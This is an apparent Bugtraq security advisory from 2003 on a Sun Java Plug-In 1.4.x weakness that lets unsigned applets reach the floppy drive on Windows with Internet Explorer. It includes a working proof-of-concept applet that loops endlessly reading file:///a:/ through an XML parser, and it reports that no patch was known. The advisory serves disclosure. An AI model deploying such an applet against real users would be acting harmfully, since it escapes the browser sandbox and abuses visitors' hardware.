Sun Java Unauthorized Java Applet Floppy Access Weakness

Bugtraq ID:	8867
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 21 2003 12:00AM
Updated:	Oct 21 2003 12:00AM
Credit:	This issue was reported by Marc Schoenefeld <[email protected]>.
Vulnerable:	Sun Java Plug-In 1.4.2 _02 Sun Java Plug-In 1.4.2 _01 Sun Java Plug-In 1.4
Not Vulnerable:

Sun Java Unauthorized Java Applet Floppy Access Weakness

A weakness has been reported in Java implementations that may constitute unauthorized access by Java applets to floppy devices. This weakness appears to present a flaw in the Java security model.

This issue was reported in Java Plug-in 1.4.x versions on Microsoft Windows operating systems, when run with Internet Explorer. Other environments and versions may also be affected.

Sun Java Unauthorized Java Applet Floppy Access Weakness

The following proof-of-concept was provided:

import java.awt.Label;

public class MyFloppySucks extends java.applet.Applet {
private Label m_labVersionVendor;
public MyFloppySucks () //constructor
{
m_labVersionVendor = new Label ("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org" +" / Java Version: " +
System.getProperty("java.version")+
" from "+System.getProperty("java.vendor"));
this.add(m_labVersionVendor);
}
public void paint(java.awt.Graphics g) {
while (1==1)
try {

org.apache.crimson.tree.XmlDocument.createXmlDocument("file:///a:/",false);
}
catch (Exception e) {
System.out.println("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org");
}
}
}

Sun Java Unauthorized Java Applet Floppy Access Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.